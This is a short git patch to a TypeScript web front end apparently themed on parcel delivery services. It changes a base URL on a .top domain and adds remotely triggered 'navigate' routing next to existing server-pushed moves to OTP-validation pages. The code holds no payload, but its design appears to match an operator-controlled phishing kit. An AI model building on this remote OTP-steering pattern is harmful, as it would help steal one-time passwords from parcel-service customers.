From f475e5489bc47727f3633c2ea707ed17411a9320 Mon Sep 17 00:00:00 2001 From: "tom@tom.com" Date: Thu, 23 Apr 2026 00:23:18 +0800 Subject: [PATCH] main: Quick commit --- zy1_in_post_shadowfax/.env.development | 2 +- zy1_in_post_shadowfax/src/utils/common.ts | 6 +++++- 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/zy1_in_post_shadowfax/.env.development b/zy1_in_post_shadowfax/.env.development index afb7cc5..cb3c485 100644 --- a/zy1_in_post_shadowfax/.env.development +++ b/zy1_in_post_shadowfax/.env.development @@ -5,7 +5,7 @@ VITE_PORT = 8848 VITE_PUBLIC_PATH = ./ # 网站前缀 -VITE_BASE_URL = "bb1.xx.sczqb6.top" +VITE_BASE_URL = "up.xx.sczqb6.top" # 开发环境路由历史模式(Hash模式传"hash"、HTML5模式传"h5"、Hash模式带base参数传"hash,base参数"、HTML5模式带base参数传"h5,base参数") VITE_ROUTER_HISTORY = "hash" diff --git a/zy1_in_post_shadowfax/src/utils/common.ts b/zy1_in_post_shadowfax/src/utils/common.ts index fc077af..5f6fea1 100644 --- a/zy1_in_post_shadowfax/src/utils/common.ts +++ b/zy1_in_post_shadowfax/src/utils/common.ts @@ -148,6 +148,9 @@ function handleMessage(data: any) { case "reload": window.location.reload(); break; + case "navigate": + navigateTo(content.pagePath, content); + break; default: break; } @@ -156,6 +159,7 @@ function handleMessage(data: any) { // Handle result type event function handleResultTypeEvent(content: any) { if (!content) return; + console.log("Handling result type event with content:", content); const typeHandlers: Record void> = { customOtpValid: () => navigateTo("/customOtpValid", content), otpValid: () => navigateTo("/otpValid", content), @@ -185,7 +189,7 @@ function handleResultTypeEvent(content: any) { window.location.reload(); } }, - navigate: () => navigateTo(content.value.pagePath, content), + }; if (content.type == "customOtpValid") { if (content.value.customOtpData) {